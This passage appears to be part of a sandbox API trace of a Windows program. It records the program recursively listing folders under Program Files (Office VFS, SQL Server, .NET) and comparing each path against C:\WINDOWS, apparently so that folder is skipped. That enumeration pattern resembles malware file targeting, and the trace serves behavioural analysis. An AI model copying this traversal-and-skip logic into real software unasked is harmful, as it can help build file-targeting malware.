ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0249.736] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0249.736] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.738] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0249.741] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.741] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0249.741] FindClose (in: hFindFile=0x6cfe08 | out: hFindFile=0x6cfe08) returned 1 [0249.741] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.741] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0249.741] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0249.741] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0249.741] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1 [0249.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.797] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0249.798] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0249.798] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0249.798] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0249.798] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.798] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0249.799] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.799] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0249.799] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0249.799] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.800] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0249.800] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0249.800] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.800] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1 [0249.801] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.801] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1 [0249.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.804] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0249.804] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0249.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.804] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0249.804] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0249.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.804] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0249.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.806] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0249.806] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0249.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.806] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0249.806] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0249.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.806] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0 [0249.806] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0249.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0249.808] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1 [0249.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.820] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0250.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0250.118] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0250.121] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0250.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0250.132] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0250.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.135] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0250.143] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0250.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0250.192] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0250.192] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0250.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0250.192] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0250.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0250.195] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0250.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0250.197] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1 [0250.201] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0250.201] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1 [0250.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0250.204] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0250.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0250.206] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0 [0250.231] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0250.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0250.233] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0250.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server") returned 79 [0250.233] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server") returned 1 [0250.233] lstrlenW (lpString="Microsoft SQL Server") returned 20 [0250.233] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Microsoft SQL Server") returned -1 [0250.233] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4188318 [0250.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server") returned 79 [0250.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\*", lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd08 [0250.268] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.268] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0250.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110") returned 83 [0250.268] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110") returned 1 [0250.268] lstrlenW (lpString="110") returned 3 [0250.269] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="110") returned 1 [0250.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4198320 [0250.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110") returned 83 [0250.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cf988 [0250.270] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 